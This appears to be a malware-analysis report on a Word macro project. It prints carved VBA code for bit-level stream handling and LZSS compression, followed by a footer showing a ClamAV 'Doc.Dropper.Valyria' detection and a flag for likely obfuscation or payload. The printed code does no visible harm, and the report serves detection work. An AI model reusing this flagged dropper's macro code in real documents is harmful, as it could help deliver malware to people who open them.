            If Toarray.Position > UBound(Toarray.Data) Then ReDim Preserve Toarray.Data(Toarray.Position + 500)
            Toarray.Data(Toarray.Position) = Toarray.Buffer
            Toarray.BitPos = 0
            Toarray.Buffer = 0
            Toarray.Position = Toarray.Position + 1
        End If
    Next
End Sub

'this sub will read an amount of bits from the inputstream
Private Function ReadBitsFromArray(FromArray() As Byte, FromPos As Long, FromBit As Byte, Numbits As Integer) As Long
    Dim X As Integer
    Dim Temp As Long
    If FromBit = 0 And Numbits = 8 Then
        ReadBitsFromArray = FromArray(FromPos)
        FromPos = FromPos + 1
        Exit Function
    End If
    For X = 1 To Numbits
        Temp = Temp * 2 + (-1 * ((FromArray(FromPos) And 2 ^ (7 - FromBit)) > 0))
        FromBit = FromBit + 1
        If FromBit = 8 Then
            If FromPos + 1 > UBound(FromArray) Then
                Do While X < Numbits
                    Temp = Temp * 2
                    X = X + 1
                Loop
                FromPos = FromPos + 1
                Exit For
            End If
            FromPos = FromPos + 1
            FromBit = 0
        End If
    Next
    ReadBitsFromArray = Temp
End Function



Attribute VB_Name = "Module5"
Option Explicit

'This is a 1 run method but we have to keep the whole contents
'in memory until some variables are saved wich are needed bij the decompressor
'This is the same as the normal LZSS method only this one has Lazy matching implemeted

Private Type LZSSStream
    Data() As Byte
    Position As Long
    BitPos As Byte
    Buffer As Byte
End Type
Private Stream(3) As LZSSStream   '0=controlstream   1=distenceStream  2=lengthstream   3=literalstream
Private HistPos As Long
Private MaxHistory As Long
Private History As String

Public Sub Compress_LZSSLazy(ByteArray() As Byte)
    Dim SearchStr As String
    Dim X As Long
    Dim Y As Long
    Dim InPos As Long
    Dim NewFileLen As Long
    Dim DistPos As Long
    Dim NewPos As Long
    Call init_LZSS
    MaxHistory = CLng(1024) * DictionarySize
'The first 4 bytes are literal data
    Call AddBitsToStream(Stream(3), DictionarySize, 8)
    For X = 0 To 3
        Call AddBitsToStream(Stream(3), CLng(ByteArray(X)), 8)
        History = History & Chr(ByteArray(X))
    Next
    InPos = 4
    Do While InPos <= UBound(ByteArray)
        If SearchStr = "" Then
            For X = 1 To 2
                If InPos <= UBound(ByteArray) Then
                    SearchStr = SearchStr & Chr(ByteArray(InPos))
                    InPos = InPos + 1
                End If
            Next
        End If
        If InPos <= UBound(ByteArray) Then
            If InStr(History, SearchStr & Chr(ByteArray(InPos))) <> 0 Then
                If Len(SearchStr) = 258 Then
                    NewPos = InStr(History, SearchStr)
                    Do
                        DistPos = NewPos
                        NewPos = InStr(DistPos + 1, History, SearchStr)
                    Loop While NewPos <> 0
                    Call AddBitsToStream(Stream(0), 1, 1)
                    Call AddBitsToStream(Stream(2), 255, 8)
                    Call AddBitsToStream(Stream(1), ((Len(History) - DistPos) And &HFF00) / &H100, 8)
                    Call AddBitsToStream(Stream(1), (Len(History) - DistPos) And &HFF, 8)
                    Call AddToHistory(SearchStr)
                End If
                SearchStr = SearchStr & Chr(ByteArray(InPos))
                InPos = InPos + 1
            Else
                If Len(SearchStr) < 3 Then
                    Call AddBitsToStream(Stream(0), 0, 1)
                    Call AddBitsToStream(Stream(3), ASC(Left(SearchStr, 1)), 8)
                    Call AddToHistory(Left(SearchStr, 1))
                    SearchStr = Mid(SearchStr, 2)
                Else
                    If Check_For_Better_Match(ByteArray, SearchStr, InPos) = False Then
                        NewPos = InStr(History, SearchStr)
                        Do
                            DistPos = NewPos
                            NewPos = InStr(DistPos + 1, History, SearchStr)
                        Loop While NewPos <> 0
                        Call AddBitsToStream(Stream(0), 1, 1)
                        Call AddBitsToStream(Stream(2), Len(SearchStr) - 3, 8)
                        Call AddBitsToStream(Stream(1), ((Len(History) - DistPos) And &HFF00) / &H100, 8)
                        Call AddBitsToStream(Stream(1), (Len(History) - DistPos) And &HFF, 8)
                        Call AddToHistory(SearchStr)
                    End If
                End If
            End If
        End If
    Loop
'check if we have had all the data
    If SearchStr <> "" Then
        If Len(SearchStr) < 3 Then
            For X = 1 To Len(SearchStr)
                Call AddBitsToStream(Stream(0), 0, 1)
                Call AddBitsToStream(Stream(3), ASC(Mid(SearchStr, X, 1)), 8)
            Next
        Else
            NewPos = InStr(History, SearchStr)
            Do
                DistPos = NewPos
                NewPos = InStr(DistPos + 1, History, SearchStr)
            Loop While NewPos <> 0
            Call AddBitsToStream(Stream(0), 1, 1)
            Call AddBitsToStream(Stream(2), Len(SearchStr) - 3, 8)
            Call AddBitsToStream(Stream(1), ((Len(History) - DistPos) And &HFF00) / &H100, 8)
            Call AddBitsToStream(Stream(1), (Len(History) - DistPos) And &HFF, 8)
        End If
    End If
'send EOF code
    Call AddBitsToStream(Stream(0), 1, 1)
    Call AddBitsToStream(Stream(1), 0, 8)
    Call AddBitsToStream(Stream(1), 0, 8)
'store the last leftover bits
    For X = 0 To 3
        Do While Stream(X).BitPos > 0
            Call AddBitsToStream(Stream(X), 0, 1)
        Loop
    Next
'redim to the correct bounderies
    NewFileLen = 0
    For X = 0 To 3
        If Stream(X).Position > 0 Then
            ReDim Preserve Stream(X).Data(Stream(X).Position - 1)
            NewFileLen = NewFileLen + Stream(X).Position
        Else
            ReDim Stream(X).Data(0)
            NewFileLen = NewFileLen + 1
        End If
    Next
    
'and copy the to the outarray
    ReDim ByteArray(NewFileLen + 5)
…
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 724480 bytes
SHA-256: 48ec2fcc897b3143efd660c5395cc876d6f91fa94a961e9505ed6af8fbd29544
Detection
ClamAV: Doc.Dropper.Valyria-9768469-0
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).

Open this report in the interactive analyzer, or submit your own file for analysis.